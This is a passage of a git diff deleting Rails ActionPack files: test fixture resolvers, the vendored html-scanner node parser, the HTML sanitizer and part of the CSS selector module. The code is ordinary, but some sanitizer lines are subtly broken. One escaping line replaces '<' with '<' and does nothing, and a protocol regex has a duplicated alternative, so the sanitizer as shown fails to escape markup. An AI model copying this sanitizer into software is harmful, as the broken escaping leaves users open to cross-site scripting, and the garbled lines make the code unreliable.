-          [ivar[1..-1].to_sym, instance_variable_get(ivar)]
-        end]
-      end
-
-      def _routes
-        @controller._routes if @controller.respond_to?(:_routes)
-      end
-
-      def method_missing(selector, *args)
-        if @controller.respond_to?(:_routes) &&
-          ( @controller._routes.named_routes.helpers.include?(selector) ||
-            @controller._routes.mounted_helpers.method_defined?(selector) )
-          @controller.__send__(selector, *args)
-        else
-          super
-        end
-      end
-    end
-
-    include Behavior
-  end
-end
diff --git a/actionpack/lib/action_view/testing/resolvers.rb b/actionpack/lib/action_view/testing/resolvers.rb
deleted file mode 100644
index 7afa2fa..0000000
--- a/actionpack/lib/action_view/testing/resolvers.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-require 'action_view/template/resolver'
-
-module ActionView #:nodoc:
-  # Use FixtureResolver in your tests to simulate the presence of files on the
-  # file system. This is used internally by Rails' own test suite, and is
-  # useful for testing extensions that have no way of knowing what the file
-  # system will look like at runtime.
-  class FixtureResolver < PathResolver
-    attr_reader :hash
-
-    def initialize(hash = {}, pattern=nil)
-      super(pattern)
-      @hash = hash
-    end
-
-    def to_s
-      @hash.keys.join(', ')
-    end
-
-  private
-
-    def query(path, exts, formats)
-      query = ""
-      EXTENSIONS.each do |ext|
-        query << '(' << exts[ext].map {|e| e && Regexp.escape(".#{e}") }.join('|') << '|)'
-      end
-      query = /^(#{Regexp.escape(path)})#{query}$/
-
-      templates = []
-      @hash.each do |_path, array|
-        source, updated_at = array
-        next unless _path =~ query
-        handler, format = extract_handler_and_format(_path, formats)
-        templates << Template.new(source, _path, handler,
-          :virtual_path => path.virtual, :format => format, :updated_at => updated_at)
-      end
-
-      templates.sort_by {|t| -t.identifier.match(/^#{query}$/).captures.reject(&:blank?).size }
-    end
-  end
-
-  class NullResolver < PathResolver
-    def query(path, exts, formats)
-      handler, format = extract_handler_and_format(path, formats)
-      [ActionView::Template.new("Template generated by Null Resolver", path, handler, :virtual_path => path, :format => format)]
-    end
-  end
-
-end
-
diff --git a/actionpack/lib/action_view/vendor/html-scanner/html/node.rb b/actionpack/lib/action_view/vendor/html-scanner/html/node.rb
deleted file mode 100644
index 7e7cd4f..0000000
--- a/actionpack/lib/action_view/vendor/html-scanner/html/node.rb
+++ /dev/null
@@ -1,532 +0,0 @@
-require 'strscan'
-
-module HTML #:nodoc:
-
-  class Conditions < Hash #:nodoc:
-    def initialize(hash)
-      super()
-      hash = { :content => hash } unless Hash === hash
-      hash = keys_to_symbols(hash)
-      hash.each do |k,v|
-        case k
-          when :tag, :content then
-            # keys are valid, and require no further processing
-          when :attributes then
-            hash[k] = keys_to_strings(v)
-          when :parent, :child, :ancestor, :descendant, :sibling, :before,
-                  :after
-            hash[k] = Conditions.new(v)
-          when :children
-            hash[k] = v = keys_to_symbols(v)
-            v.each do |key,value|
-              case key
-                when :count, :greater_than, :less_than
-                  # keys are valid, and require no further processing
-                when :only
-                  v[key] = Conditions.new(value)
-                else
-                  raise "illegal key #{key.inspect} => #{value.inspect}"
-              end
-            end
-          else
-            raise "illegal key #{k.inspect} => #{v.inspect}"
-        end
-      end
-      update hash
-    end
-
-    private
-
-      def keys_to_strings(hash)
-        Hash[hash.keys.map {|k| [k.to_s, hash[k]]}]
-      end
-
-      def keys_to_symbols(hash)
-        Hash[hash.keys.map do |k|
-          raise "illegal key #{k.inspect}" unless k.respond_to?(:to_sym)
-          [k.to_sym, hash[k]]
-        end]
-      end
-  end
-
-  # The base class of all nodes, textual and otherwise, in an HTML document.
-  class Node #:nodoc:
-    # The array of children of this node. Not all nodes have children.
-    attr_reader :children
-
-    # The parent node of this node. All nodes have a parent, except for the
-    # root node.
-    attr_reader :parent
-
-    # The line number of the input where this node was begun
-    attr_reader :line
-
-    # The byte position in the input where this node was begun
-    attr_reader :position
-
-    # Create a new node as a child of the given parent.
-    def initialize(parent, line=0, pos=0)
-      @parent = parent
-      @children = []
-      @line, @position = line, pos
-    end
-
-    # Return a textual representation of the node.
-    def to_s
-      @children.join()
-    end
-
-    # Return false (subclasses must override this to provide specific matching
-    # behavior.) +conditions+ may be of any type.
-    def match(conditions)
-      false
-    end
-
-    # Search the children of this node for the first node for which #find
-    # returns non +nil+. Returns the result of the #find call that succeeded.
-    def find(conditions)
-      conditions = validate_conditions(conditions)
-      @children.each do |child|
-        node = child.find(conditions)
-        return node if node
-      end
-      nil
-    end
-
-    # Search for all nodes that match the given conditions, and return them
-    # as an array.
-    def find_all(conditions)
-      conditions = validate_conditions(conditions)
-
-      matches = []
-      matches << self if match(conditions)
-      @children.each do |child|
-        matches.concat child.find_all(conditions)
-      end
-      matches
-    end
-
-    # Returns +false+. Subclasses may override this if they define a kind of
-    # tag.
-    def tag?
-      false
-    end
-
-    def validate_conditions(conditions)
-      Conditions === conditions ? conditions : Conditions.new(conditions)
-    end
-
-    def ==(node)
-      return false unless self.class == node.class && children.size == node.children.size
-
-      equivalent = true
-
-      children.size.times do |i|
-        equivalent &&= children[i] == node.children[i]
-      end
-
-      equivalent
-    end
-
-    class <<self
-      def parse(parent, line, pos, content, strict=true)
-        if content !~ /^<\S/
-          Text.new(parent, line, pos, content)
-        else
-          scanner = StringScanner.new(content)
-
-          unless scanner.skip(/</)
-            if strict
-              raise "expected <"
-            else
-              return Text.new(parent, line, pos, content)
-            end
-          end
-
-          if scanner.skip(/!\[CDATA\[/)
-            unless scanner.skip_until(/\]\]>/)
-              if strict
-                raise "expected ]]> (got #{scanner.rest.inspect} for #{content})"
-              else
-                scanner.skip_until(/\Z/)
-              end
-            end
-
-            return CDATA.new(parent, line, pos, scanner.pre_match.gsub(/<!\[CDATA\[/, ''))
-          end
-
-          closing = ( scanner.scan(/\//) ? :close : nil )
-          return Text.new(parent, line, pos, content) unless name = scanner.scan(/[^\s!>\/]+/)
-          name.downcase!
-
-          unless closing
-            scanner.skip(/\s*/)
-            attributes = {}
-            while attr = scanner.scan(/[-\w:]+/)
-              value = true
-              if scanner.scan(/\s*=\s*/)
-                if delim = scanner.scan(/['"]/)
-                  value = ""
-                  while text = scanner.scan(/[^#{delim}\\]+|./)
-                    case text
-                      when "\\" then
-                        value << text
-                        break if scanner.eos?
-                        value << scanner.getch
-                      when delim
-                        break
-                      else value << text
-                    end
-                  end
-                else
-                  value = scanner.scan(/[^\s>\/]+/)
-                end
-              end
-              attributes[attr.downcase] = value
-              scanner.skip(/\s*/)
-            end
-
-            closing = ( scanner.scan(/\//) ? :self : nil )
-          end
-
-          unless scanner.scan(/\s*>/)
-            if strict
-              raise "expected > (got #{scanner.rest.inspect} for #{content}, #{attributes.inspect})"
-            else
-              # throw away all text until we find what we're looking for
-              scanner.skip_until(/>/) or scanner.terminate
-            end
-          end
-
-          Tag.new(parent, line, pos, name, attributes, closing)
-        end
-      end
-    end
-  end
-
-  # A node that represents text, rather than markup.
-  class Text < Node #:nodoc:
-
-    attr_reader :content
-
-    # Creates a new text node as a child of the given parent, with the given
-    # content.
-    def initialize(parent, line, pos, content)
-      super(parent, line, pos)
-      @content = content
-    end
-
-    # Returns the content of this node.
-    def to_s
-      @content
-    end
-
-    # Returns +self+ if this node meets the given conditions. Text nodes support
-    # conditions of the following kinds:
-    #
-    # * if +conditions+ is a string, it must be a substring of the node's
-    #   content
-    # * if +conditions+ is a regular expression, it must match the node's
-    #   content
-    # * if +conditions+ is a hash, it must contain a <tt>:content</tt> key that
-    #   is either a string or a regexp, and which is interpreted as described
-    #   above.
-    def find(conditions)
-      match(conditions) && self
-    end
-
-    # Returns non-+nil+ if this node meets the given conditions, or +nil+
-    # otherwise. See the discussion of #find for the valid conditions.
-    def match(conditions)
-      case conditions
-        when String
-          @content == conditions
-        when Regexp
-          @content =~ conditions
-        when Hash
-          conditions = validate_conditions(conditions)
-
-          # Text nodes only have :content, :parent, :ancestor
-          unless (conditions.keys - [:content, :parent, :ancestor]).empty?
-            return false
-          end
-
-          match(conditions[:content])
-        else
-          nil
-      end
-    end
-
-    def ==(node)
-      return false unless super
-      content == node.content
-    end
-  end
-
-  # A CDATA node is simply a text node with a specialized way of displaying
-  # itself.
-  class CDATA < Text #:nodoc:
-    def to_s
-      "<![CDATA[#{super}]]>"
-    end
-  end
-
-  # A Tag is any node that represents markup. It may be an opening tag, a
-  # closing tag, or a self-closing tag. It has a name, and may have a hash of
-  # attributes.
-  class Tag < Node #:nodoc:
-
-    # Either +nil+, <tt>:close</tt>, or <tt>:self</tt>
-    attr_reader :closing
-
-    # Either +nil+, or a hash of attributes for this node.
-    attr_reader :attributes
-
-    # The name of this tag.
-    attr_reader :name
-
-    # Create a new node as a child of the given parent, using the given content
-    # to describe the node. It will be parsed and the node name, attributes and
-    # closing status extracted.
-    def initialize(parent, line, pos, name, attributes, closing)
-      super(parent, line, pos)
-      @name = name
-      @attributes = attributes
-      @closing = closing
-    end
-
-    # A convenience for obtaining an attribute of the node. Returns +nil+ if
-    # the node has no attributes.
-    def [](attr)
-      @attributes ? @attributes[attr] : nil
-    end
-
-    # Returns non-+nil+ if this tag can contain child nodes.
-    def childless?(xml = false)
-      return false if xml && @closing.nil?
-      !@closing.nil? ||
-        @name =~ /^(img|br|hr|link|meta|area|base|basefont|
-                    col|frame|input|isindex|param)$/ox
-    end
-
-    # Returns a textual representation of the node
-    def to_s
-      if @closing == :close
-        "</#{@name}>"
-      else
-        s = "<#{@name}"
-        @attributes.each do |k,v|
-          s << " #{k}"
-          s << "=\"#{v}\"" if String === v
-        end
-        s << " /" if @closing == :self
-        s << ">"
-        @children.each { |child| s << child.to_s }
-        s << "</#{@name}>" if @closing != :self && !@children.empty?
-        s
-      end
-    end
-
-    # If either the node or any of its children meet the given conditions, the
-    # matching node is returned. Otherwise, +nil+ is returned. (See the
-    # description of the valid conditions in the +match+ method.)
-    def find(conditions)
-      match(conditions) && self || super
-    end
-
-    # Returns +true+, indicating that this node represents an HTML tag.
-    def tag?
-      true
-    end
-
-    # Returns +true+ if the node meets any of the given conditions. The
-    # +conditions+ parameter must be a hash of any of the following keys
-    # (all are optional):
-    #
-    # * <tt>:tag</tt>: the node name must match the corresponding value
-    # * <tt>:attributes</tt>: a hash. The node's values must match the
-    #   corresponding values in the hash.
-    # * <tt>:parent</tt>: a hash. The node's parent must match the
-    #   corresponding hash.
-    # * <tt>:child</tt>: a hash. At least one of the node's immediate children
-    #   must meet the criteria described by the hash.
-    # * <tt>:ancestor</tt>: a hash. At least one of the node's ancestors must
-    #   meet the criteria described by the hash.
-    # * <tt>:descendant</tt>: a hash. At least one of the node's descendants
-    #   must meet the criteria described by the hash.
-    # * <tt>:sibling</tt>: a hash. At least one of the node's siblings must
-    #   meet the criteria described by the hash.
-    # * <tt>:after</tt>: a hash. The node must be after any sibling meeting
-    #   the criteria described by the hash, and at least one sibling must match.
-    # * <tt>:before</tt>: a hash. The node must be before any sibling meeting
-    #   the criteria described by the hash, and at least one sibling must match.
-    # * <tt>:children</tt>: a hash, for counting children of a node. Accepts the
-    #   keys:
-    # ** <tt>:count</tt>: either a number or a range which must equal (or
-    #    include) the number of children that match.
-    # ** <tt>:less_than</tt>: the number of matching children must be less than
-    #    this number.
-    # ** <tt>:greater_than</tt>: the number of matching children must be
-    #    greater than this number.
-    # ** <tt>:only</tt>: another hash consisting of the keys to use
-    #    to match on the children, and only matching children will be
-    #    counted.
-    #
-    # Conditions are matched using the following algorithm:
-    #
-    # * if the condition is a string, it must be a substring of the value.
-    # * if the condition is a regexp, it must match the value.
-    # * if the condition is a number, the value must match number.to_s.
-    # * if the condition is +true+, the value must not be +nil+.
-    # * if the condition is +false+ or +nil+, the value must be +nil+.
-    #
-    # Usage:
-    #
-    #   # test if the node is a "span" tag
-    #   node.match tag: "span"
-    #
-    #   # test if the node's parent is a "div"
-    #   node.match parent: { tag: "div" }
-    #
-    #   # test if any of the node's ancestors are "table" tags
-    #   node.match ancestor: { tag: "table" }
-    #
-    #   # test if any of the node's immediate children are "em" tags
-    #   node.match child: { tag: "em" }
-    #
-    #   # test if any of the node's descendants are "strong" tags
-    #   node.match descendant: { tag: "strong" }
-    #
-    #   # test if the node has between 2 and 4 span tags as immediate children
-    #   node.match children: { count: 2..4, only: { tag: "span" } }
-    #
-    #   # get funky: test to see if the node is a "div", has a "ul" ancestor
-    #   # and an "li" parent (with "class" = "enum"), and whether or not it has
-    #   # a "span" descendant that contains # text matching /hello world/:
-    #   node.match tag: "div",
-    #              ancestor: { tag: "ul" },
-    #              parent: { tag: "li",
-    #                           attributes: { class: "enum" } },
-    #              descendant: { tag: "span",
-    #                               child: /hello world/ }
-    def match(conditions)
-      conditions = validate_conditions(conditions)
-      # check content of child nodes
-      if conditions[:content]
-        if children.empty?
-          return false unless match_condition("", conditions[:content])
-        else
-          return false unless children.find { |child| child.match(conditions[:content]) }
-        end
-      end
-
-      # test the name
-      return false unless match_condition(@name, conditions[:tag]) if conditions[:tag]
-
-      # test attributes
-      (conditions[:attributes] || {}).each do |key, value|
-        return false unless match_condition(self[key], value)
-      end
-
-      # test parent
-      return false unless parent.match(conditions[:parent]) if conditions[:parent]
-
-      # test children
-      return false unless children.find { |child| child.match(conditions[:child]) } if conditions[:child]
-
-      # test ancestors
-      if conditions[:ancestor]
-        return false unless catch :found do
-          p = self
-          throw :found, true if p.match(conditions[:ancestor]) while p = p.parent
-        end
-      end
-
-      # test descendants
-      if conditions[:descendant]
-        return false unless children.find do |child|
-          # test the child
-          child.match(conditions[:descendant]) ||
-          # test the child's descendants
-          child.match(:descendant => conditions[:descendant])
-        end
-      end
-
-      # count children
-      if opts = conditions[:children]
-        matches = children.select do |c|
-          (c.kind_of?(HTML::Tag) and (c.closing == :self or ! c.childless?))
-        end
-
-        matches = matches.select { |c| c.match(opts[:only]) } if opts[:only]
-        opts.each do |key, value|
-          next if key == :only
-          case key
-            when :count
-              if Integer === value
-                return false if matches.length != value
-              else
-                return false unless value.include?(matches.length)
-              end
-            when :less_than
-              return false unless matches.length < value
-            when :greater_than
-              return false unless matches.length > value
-            else raise "unknown count condition #{key}"
-          end
-        end
-      end
-
-      # test siblings
-      if conditions[:sibling] || conditions[:before] || conditions[:after]
-        siblings = parent ? parent.children : []
-        self_index = siblings.index(self)
-
-        if conditions[:sibling]
-          return false unless siblings.detect do |s|
-            s != self && s.match(conditions[:sibling])
-          end
-        end
-
-        if conditions[:before]
-          return false unless siblings[self_index+1..-1].detect do |s|
-            s != self && s.match(conditions[:before])
-          end
-        end
-
-        if conditions[:after]
-          return false unless siblings[0,self_index].detect do |s|
-            s != self && s.match(conditions[:after])
-          end
-        end
-      end
-
-      true
-    end
-
-    def ==(node)
-      return false unless super
-      return false unless closing == node.closing && self.name == node.name
-      attributes == node.attributes
-    end
-
-    private
-      # Match the given value to the given condition.
-      def match_condition(value, condition)
-        case condition
-          when String
-            value && value == condition
-          when Regexp
-            value && value.match(condition)
-          when Numeric
-            value == condition.to_s
-          when true
-            !value.nil?
-          when false, nil
-            value.nil?
-          else
-            false
-        end
-      end
-  end
-end
diff --git a/actionpack/lib/action_view/vendor/html-scanner/html/sanitizer.rb b/actionpack/lib/action_view/vendor/html-scanner/html/sanitizer.rb
deleted file mode 100644
index 30b6b8b..0000000
--- a/actionpack/lib/action_view/vendor/html-scanner/html/sanitizer.rb
+++ /dev/null
@@ -1,188 +0,0 @@
-require 'set'
-require 'cgi'
-require 'active_support/core_ext/class/attribute_accessors'
-
-module HTML
-  class Sanitizer
-    def sanitize(text, options = {})
-      validate_options(options)
-      return text unless sanitizeable?(text)
-      tokenize(text, options).join
-    end
-
-    def sanitizeable?(text)
-      !(text.nil? || text.empty? || !text.index("<"))
-    end
-
-  protected
-    def tokenize(text, options)
-      tokenizer = HTML::Tokenizer.new(text)
-      result = []
-      while token = tokenizer.next
-        node = Node.parse(nil, 0, 0, token, false)
-        process_node node, result, options
-      end
-      result
-    end
-
-    def process_node(node, result, options)
-      result << node.to_s
-    end
-
-    def validate_options(options)
-      if options[:tags] && !options[:tags].is_a?(Enumerable)
-        raise ArgumentError, "You should pass :tags as an Enumerable"
-      end
-
-      if options[:attributes] && !options[:attributes].is_a?(Enumerable)
-        raise ArgumentError, "You should pass :attributes as an Enumerable"
-      end
-    end
-  end
-
-  class FullSanitizer < Sanitizer
-    def sanitize(text, options = {})
-      result = super
-      # strip any comments, and if they have a newline at the end (ie. line with
-      # only a comment) strip that too
-      result = result.gsub(/<!--(.*?)-->[\n]?/m, "") if (result && result =~ /<!--(.*?)-->[\n]?/m)
-      # Recurse - handle all dirty nested tags
-      result == text ? result : sanitize(result, options)
-    end
-
-    def process_node(node, result, options)
-      result << node.to_s if node.class == HTML::Text
-    end
-  end
-
-  class LinkSanitizer < FullSanitizer
-    cattr_accessor :included_tags, :instance_writer => false
-    self.included_tags = Set.new(%w(a href))
-
-    def sanitizeable?(text)
-      !(text.nil? || text.empty? || !((text.index("<a") || text.index("<href")) && text.index(">")))
-    end
-
-  protected
-    def process_node(node, result, options)
-      result << node.to_s unless node.is_a?(HTML::Tag) && included_tags.include?(node.name)
-    end
-  end
-
-  class WhiteListSanitizer < Sanitizer
-    [:protocol_separator, :uri_attributes, :allowed_attributes, :allowed_tags, :allowed_protocols, :bad_tags,
-     :allowed_css_properties, :allowed_css_keywords, :shorthand_css_properties].each do |attr|
-      class_attribute attr, :instance_writer => false
-    end
-
-    # A regular expression of the valid characters used to separate protocols like
-    # the ':' in 'http://foo.com'
-    self.protocol_separator     = /:|(&#0*58)|(&#x70)|(&#x0*3a)|(%|%)3A/i
-
-    # Specifies a Set of HTML attributes that can have URIs.
-    self.uri_attributes         = Set.new(%w(href src cite action longdesc xlink:href lowsrc))
-
-    # Specifies a Set of 'bad' tags that the #sanitize helper will remove completely, as opposed
-    # to just escaping harmless tags like <font>
-    self.bad_tags               = Set.new(%w(script))
-
-    # Specifies the default Set of tags that the #sanitize helper will allow unscathed.
-    self.allowed_tags           = Set.new(%w(strong em b i p code pre tt samp kbd var sub
-      sup dfn cite big small address hr br div span h1 h2 h3 h4 h5 h6 ul ol li dl dt dd abbr
-      acronym a img blockquote del ins))
-
-    # Specifies the default Set of html attributes that the #sanitize helper will leave
-    # in the allowed tag.
-    self.allowed_attributes     = Set.new(%w(href src width height alt cite datetime title class name xml:lang abbr))
-
-    # Specifies the default Set of acceptable css properties that #sanitize and #sanitize_css will accept.
-    self.allowed_protocols      = Set.new(%w(ed2k ftp http https irc mailto news gopher nntp telnet webcal xmpp callto
-      feed svn urn aim rsync tag ssh sftp rtsp afs))
-
-    # Specifies the default Set of acceptable css properties that #sanitize and #sanitize_css will accept.
-    self.allowed_css_properties = Set.new(%w(azimuth background-color border-bottom-color border-collapse
-      border-color border-left-color border-right-color border-top-color clear color cursor direction display
-      elevation float font font-family font-size font-style font-variant font-weight height letter-spacing line-height
-      overflow pause pause-after pause-before pitch pitch-range richness speak speak-header speak-numeral speak-punctuation
-      speech-rate stress text-align text-decoration text-indent unicode-bidi vertical-align voice-family volume white-space
-      width))
-
-    # Specifies the default Set of acceptable css keywords that #sanitize and #sanitize_css will accept.
-    self.allowed_css_keywords   = Set.new(%w(auto aqua black block blue bold both bottom brown center
-      collapse dashed dotted fuchsia gray green !important italic left lime maroon medium none navy normal
-      nowrap olive pointer purple red right solid silver teal top transparent underline white yellow))
-
-    # Specifies the default Set of allowed shorthand css properties for the #sanitize and #sanitize_css helpers.
-    self.shorthand_css_properties = Set.new(%w(background border margin padding))
-
-    # Sanitizes a block of css code. Used by #sanitize when it comes across a style attribute
-    def sanitize_css(style)
-      # disallow urls
-      style = style.to_s.gsub(/url\s*\(\s*[^\s)]+?\s*\)\s*/, ' ')
-
-      # gauntlet
-      if style !~ /\A([:,;#%.\sa-zA-Z0-9!]|\w-\w|\'[\s\w]+\'|\"[\s\w]+\"|\([\d,\s]+\))*\z/ ||
-          style !~ /\A(\s*[-\w]+\s*:\s*[^:;]*(;|$)\s*)*\z/
-        return ''
-      end
-
-      clean = []
-      style.scan(/([-\w]+)\s*:\s*([^:;]*)/) do |prop,val|
-        if allowed_css_properties.include?(prop.downcase)
-          clean <<  prop + ': ' + val + ';'
-        elsif shorthand_css_properties.include?(prop.split('-')[0].downcase)
-          unless val.split().any? do |keyword|
-            !allowed_css_keywords.include?(keyword) &&
-              keyword !~ /\A(#[0-9a-f]+|rgb\(\d+%?,\d*%?,?\d*%?\)?|\d{0,2}\.?\d{0,2}(cm|em|ex|in|mm|pc|pt|px|%|,|\))?)\z/
-          end
-            clean << prop + ': ' + val + ';'
-          end
-        end
-      end
-      clean.join(' ')
-    end
-
-  protected
-    def tokenize(text, options)
-      options[:parent] = []
-      options[:attributes] ||= allowed_attributes
-      options[:tags]       ||= allowed_tags
-      super
-    end
-
-    def process_node(node, result, options)
-      result << case node
-        when HTML::Tag
-          if node.closing == :close
-            options[:parent].shift
-          else
-            options[:parent].unshift node.name
-          end
-
-          process_attributes_for node, options
-
-          options[:tags].include?(node.name) ? node : nil
-        else
-          bad_tags.include?(options[:parent].first) ? nil : node.to_s.gsub(/</, "<")
-      end
-    end
-
-    def process_attributes_for(node, options)
-      return unless node.attributes
-      node.attributes.keys.each do |attr_name|
-        value = node.attributes[attr_name].to_s
-
-        if !options[:attributes].include?(attr_name) || contains_bad_protocols?(attr_name, value)
-          node.attributes.delete(attr_name)
-        else
-          node.attributes[attr_name] = attr_name == 'style' ? sanitize_css(value) : CGI::escapeHTML(CGI::unescapeHTML(value))
-        end
-      end
-    end
-
-    def contains_bad_protocols?(attr_name, value)
-      uri_attributes.include?(attr_name) &&
-      (value =~ /(^[^\/:]*):|(&#0*58)|(&#x70)|(&#x0*3a)|(%|%)3A/i && !allowed_protocols.include?(value.split(protocol_separator).first.downcase.strip))
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/vendor/html-scanner/html/selector.rb b/actionpack/lib/action_view/vendor/html-scanner/html/selector.rb
deleted file mode 100644
index 7f8609c..0000000
--- a/actionpack/lib/action_view/vendor/html-scanner/html/selector.rb
+++ /dev/null
@@ -1,830 +0,0 @@
-#--
-# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
-# Under MIT and/or CC By license.
-#++
-
-module HTML
-
-  # Selects HTML elements using CSS 2 selectors.
-  #
-  # The +Selector+ class uses CSS selector expressions to match and select
-  # HTML elements.
-  #
-  # For example:
-  #   selector = HTML::Selector.new "form.login[action=/login]"
-  # creates a new selector that matches any +form+ element with the class
-  # +login+ and an attribute +action+ with the value <tt>/login</tt>.
-  #
-  # === Matching Elements
-  #
-  # Use the #match method to determine if an element matches the selector.
-  #
-  # For simple selectors, the method returns an array with that element,
-  # or +nil+ if the element does not match. For complex selectors (see below)
-  # the method returns an array with all matched elements, of +nil+ if no
-  # match found.
-  #
-  # For example:
-  #   if selector.match(element)
-  #     puts "Element is a login form"
-  #   end
-  #
-  # === Selecting Elements
-  #
-  # Use the #select method to select all matching elements starting with
-  # one element and going through all children in depth-first order.
-  #
-  # This method returns an array of all matching elements, an empty array
-  # if no match is found
-  #
-  # For example:
-  #   selector = HTML::Selector.new "input[type=text]"
-  #   matches = selector.select(element)
-  #   matches.each do |match|
-  #     puts "Found text field with name #{match.attributes['name']}"
-  #   end
-  #
-  # === Expressions
-  #
-  # Selectors can match elements using any of the following criteria:
-  # * <tt>name</tt> -- Match an element based on its name (tag name).
-  #   For example, <tt>p</tt> to match a paragraph. You can use <tt>*</tt>
-  #   to match any element.
-  # * <tt>#</tt><tt>id</tt> -- Match an element based on its identifier (the
-  #   <tt>id</tt> attribute). For example, <tt>#</tt><tt>page</tt>.
-  # * <tt>.class</tt> -- Match an element based on its class name, all
-  #   class names if more than one specified.
-  # * <tt>[attr]</tt> -- Match an element that has the specified attribute.
-  # * <tt>[attr=value]</tt> -- Match an element that has the specified
-  #   attribute and value. (More operators are supported see below)
-  # * <tt>:pseudo-class</tt> -- Match an element based on a pseudo class,
-  #   such as <tt>:nth-child</tt> and <tt>:empty</tt>.
-  # * <tt>:not(expr)</tt> -- Match an element that does not match the
-  #   negation expression.
-  #
-  # When using a combination of the above, the element name comes first
-  # followed by identifier, class names, attributes, pseudo classes and
-  # negation in any order. Do not separate these parts with spaces!
-  # Space separation is used for descendant selectors.
-  #
-  # For example:
-  #   selector = HTML::Selector.new "form.login[action=/login]"
-  # The matched element must be of type +form+ and have the class +login+.
-  # It may have other classes, but the class +login+ is required to match.
-  # It must also have an attribute called +action+ with the value
-  # <tt>/login</tt>.
-  #
-  # This selector will match the following element:
-  #   <form class="login form" method="post" action="/login">
-  # but will not match the element:
-  #   <form method="post" action="/logout">
-  #
-  # === Attribute Values
-  #
-  # Several operators are supported for matching attributes:
-  # * <tt>name</tt> -- The element must have an attribute with that name.
-  # * <tt>name=value</tt> -- The element must have an attribute with that
-  #   name and value.
-  # * <tt>name^=value</tt> -- The attribute value must start with the
-  #   specified value.
-  # * <tt>name$=value</tt> -- The attribute value must end with the
-  #   specified value.
-  # * <tt>name*=value</tt> -- The attribute value must contain the
-  #   specified value.
-  # * <tt>name~=word</tt> -- The attribute value must contain the specified
-  #   word (space separated).
-  # * <tt>name|=word</tt> -- The attribute value must start with specified
-  #   word.
-  #
-  # For example, the following two selectors match the same element:
-  #   #my_id
-  #   [id=my_id]
-  # and so do the following two selectors:
-  #   .my_class
-  #   [class~=my_class]
-  #
-  # === Alternatives, siblings, children
-  #
-  # Complex selectors use a combination of expressions to match elements:
-  # * <tt>expr1 expr2</tt> -- Match any element against the second expression
-  #   if it has some parent element that matches the first expression.
-  # * <tt>expr1 > expr2</tt> -- Match any element against the second expression
-  #   if it is the child of an element that matches the first expression.
-  # * <tt>expr1 + expr2</tt> -- Match any element against the second expression
-  #   if it immediately follows an element that matches the first expression.
-  # * <tt>expr1 ~ expr2</tt> -- Match any element against the second expression
-  #   that comes after an element that matches the first expression.
-  # * <tt>expr1, expr2</tt> -- Match any element against the first expression,
-  #   or against the second expression.
-  #
-  # Since children and sibling selectors may match more than one element given
-  # the first element, the #match method may return more than one match.
-  #
-  # === Pseudo classes
-  #
-  # Pseudo classes were introduced in CSS 3. They are most often used to select
-  # elements in a given position:
-  # * <tt>:root</tt> -- Match the element only if it is the root element
-  #   (no parent element).
-  # * <tt>:empty</tt> -- Match the element only if it has no child elements,
-  #   and no text content.
-  # * <tt>:content(string)</tt> -- Match the element only if it has <tt>string</tt>
-  #   as its text content (ignoring leading and trailing whitespace).
-  # * <tt>:only-child</tt> -- Match the element if it is the only child (element)
-  #   of its parent element.
-  # * <tt>:only-of-type</tt> -- Match the element if it is the only child (element)
-  #   of its parent element and its type.
-  # * <tt>:first-child</tt> -- Match the element if it is the first child (element)
-  #   of its parent element.
-  # * <tt>:first-of-type</tt> -- Match the element if it is the first child (element)
-  #   of its parent element of its type.
-  # * <tt>:last-child</tt> -- Match the element if it is the last child (element)
-  #   of its parent element.
-  # * <tt>:last-of-type</tt> -- Match the element if it is the last child (element)
-  #   of its parent element of its type.
-  # * <tt>:nth-child(b)</tt> -- Match the element if it is the b-th child (element)
-  #   of its parent element. The value <tt>b</tt> specifies its index, starting with 1.
-  # * <tt>:nth-child(an+b)</tt> -- Match the element if it is the b-th child (element)
-  #   in each group of <tt>a</tt> child elements of its parent element.
-  # * <tt>:nth-child(-an+b)</tt> -- Match the element if it is the first child (element)
-  #   in each group of <tt>a</tt> child elements, up to the first <tt>b</tt> child
-  #   elements of its parent element.
-  # * <tt>:nth-child(odd)</tt> -- Match element in the odd position (i.e. first, third).
-  #   Same as <tt>:nth-child(2n+1)</tt>.
-  # * <tt>:nth-child(even)</tt> -- Match element in the even position (i.e. second,
-  #   fourth). Same as <tt>:nth-child(2n+2)</tt>.
-  # * <tt>:nth-of-type(..)</tt> -- As above, but only counts elements of its type.
-  # * <tt>:nth-last-child(..)</tt> -- As above, but counts from the last child.
-  # * <tt>:nth-last-of-type(..)</tt> -- As above, but counts from the last child and
-  #   only elements of its type.
-  # * <tt>:not(selector)</tt> -- Match the element only if the element does not
-  #   match the simple selector.
-  #
-  # As you can see, <tt>:nth-child</tt> pseudo class and its variant can get quite
-  # tricky and the CSS specification doesn't do a much better job explaining it.
-  # But after reading the examples and trying a few combinations, it's easy to
-  # figure out.
-  #
-  # For example:
-  #   table tr:nth-child(odd)
-  # Selects every second row in the table starting with the first one.
-  #
-  #   div p:nth-child(4)
-  # Selects the fourth paragraph in the +div+, but not if the +div+ contains
-  # other elements, since those are also counted.
-  #
-  #   div p:nth-of-type(4)
-  # Selects the fourth paragraph in the +div+, counting only paragraphs, and
-  # ignoring all other elements.
-  #
-  #   div p:nth-of-type(-n+4)
-  # Selects the first four paragraphs, ignoring all others.
-  #
-  # And you can always select an element that matches one set of rules but
-  # not another using <tt>:not</tt>. For example:
-  #   p:not(.post)
-  # Matches all paragraphs that do not have the class <tt>.post</tt>.
-  #
-  # === Substitution Values
-  #
-  # You can use substitution with identifiers, class names and element values.
-  # A substitution takes the form of a question mark (<tt>?</tt>) and uses the
-  # next value in the argument list following the CSS expression.
-  #
-  # The substitution value may be a string or a regular expression. All other
-  # values are converted to strings.
-  #
-  # For example:
-  #   selector = HTML::Selector.new "#?", /^\d+$/
-  # matches any element whose identifier consists of one or more digits.
-  #
-  # See http://www.w3.org/TR/css3-selectors/
-  class Selector
-
-
-    # An invalid selector.
-    class InvalidSelectorError < StandardError #:nodoc:
-    end
-
-
-    class << self
-
-      # :call-seq:
-      #   Selector.for_class(cls) => selector
-      #
-      # Creates a new selector for the given class name.
-      def for_class(cls)
-        self.new([".?", cls])
-      end
-
-
-      # :call-seq:
-      #   Selector.for_id(id) => selector
-      #
-      # Creates a new selector for the given id.
-      def for_id(id)
-        self.new(["#?", id])
-      end
-
-    end
-
-
-    # :call-seq:
-    #   Selector.new(string, [values ...]) => selector
-    #
-    # Creates a new selector from a CSS 2 selector expression.
-    #
